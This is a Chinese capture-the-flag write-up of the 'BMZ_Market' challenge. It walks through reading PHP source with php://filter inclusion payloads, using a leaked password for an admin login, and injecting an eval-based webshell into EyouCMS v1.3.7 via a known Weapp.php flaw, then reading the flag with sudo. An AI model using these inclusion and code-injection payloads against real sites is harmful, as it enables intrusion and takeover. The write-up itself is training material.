BMZ_Market

这个题当时看了一眼!(感觉难呀!还是tcl)
官方wp出来了!来复线下!

在这里插入图片描述

我看到了

image-20210101084202949

但是自己想不到 为协议

自己试了试

image-20210101084312798

输入1/2/3
他会报错!

image-20210101090822061

image-20210101090845510

看了smile大佬的文章
https://www.smi1e.top/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E4%B8%8Ephp%E4%BC%AA%E5%8D%8F%E8%AE%AE/
又回顾了下php为协议

php手册:
https://www.php.net/manual/zh/wrappers.php.php

发现
文件包含时 include() readfile()可以直接输出base64加密后的源码!
但是 file() 和 file_get_contents()要有输出函数才能输出base64加密后的源码!
而且file()函数必须是数组输出!


ooooooooooooooo
经过自己测试!
一开始没注意源码!通过伪协议得到的与php代码在源码里!
还知道了为什么要用php为协议!
文件包含时源码显示不出来!通过php为协议可以转换,最后显示出来!(注意,记得看源码,可能转换后在源码里!)

php 伪协议 filter payload

php://filter/convert.quoted-printable-encode/resource=flag.php
?page=php://filter/read=string.rot13/resource=index.php
php://filter/read=convert.base64-encode/resource=upload.php
1=pHp://FilTer/convert.base64-encode/resource=2.php
通过伪协议读源码:
<?php
$password ="Nevergiveup135." ;//I have to remember it

if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}

?>



<!DOCTYPE html>
<html lang="en"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="BMZ Market">
<meta name="author" content="bmz">

<title>BMZ Market</title>


<link href="bootstrap.css" rel="stylesheet">


<link href="covers.css" rel="stylesheet">
</head>

<body class="text-center">

<div class="cover-container d-flex w-100 h-100 p-3 mx-auto flex-column">
<header class="masthead mb-auto">
<div class="inner">
<h3 class="masthead-brand">BMZ Market</h3>
<nav class="nav nav-masthead justify-content-center">
<a class="nav-link active" href="#">Home</a>
<!-- <a class="nav-link active" href="?lang=fr">Fr/a> -->
</nav>
</div>
</header>

<main role="main" class="inner cover">
<h1 class="cover-heading">Coming soon</h1>
<p class="lead">
<?php
if (isset($_GET['lang']))
{
echo $message;
}
else
{
?>

Believe in yourself, you can find the flag
<?php
}
?>
</p>
<p class="lead">
<a href="#" class="btn btn-lg btn-secondary">more</a>
</p>
</main>

<footer class="mastfoot mt-auto">
<div class="inner">
<p>Power by<a href="#">@kuaile</a></p>
</div>
</footer>
</div>





</body></html>.ÆLj¹.´z&x*&.x,¢.Ï£.«o).j)^
得到了密码!
Nevergiveup135.
可能是后台账号密码
扫一下目录!

image-20210101110236039

image-20210101110316961

image-20210101110506496

把加密的东西解密!
isbmzadmin。

登录bmzadmin.php

image-20210101110722468

一开始以为是admin
发现不是!
是Power by@kuaile
登录!

image-20210101110952589

image-20210101111237248

看到是易优Cms-演示站v1.3.7
就是搜一下有没有漏洞!
https://www.cnblogs.com/jinqi520/p/11274699.html

Weapp.php文件中的create()方法接收了请求中的参数,过滤后直接存入php配置文件中,但是由于过滤不严,导致可以直接写入代码进去并执行。
自己用payload打!
&scene=bbb\',${eval($_POST[mochu7])},//
&scene=bbb\',${phpinfo()},//
最后又是linux权限的问题!!!

看一下当前权限sudo -l

image-20210101114654806


sudo find / -name "fl**"
sudo cat /root/flag

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。 这样不仅减少了root用户的登录和管理时间,同样也提高了安全性。 sudo不是对shell的一个代替,它是面向每个命令的。
简单说就是给普通用户了点权限!!
ls -lha
sudo -l
-l, --list list user's privileges or check a specific
总结:
文件包含:PHP伪协议
目录扫描
cms漏洞!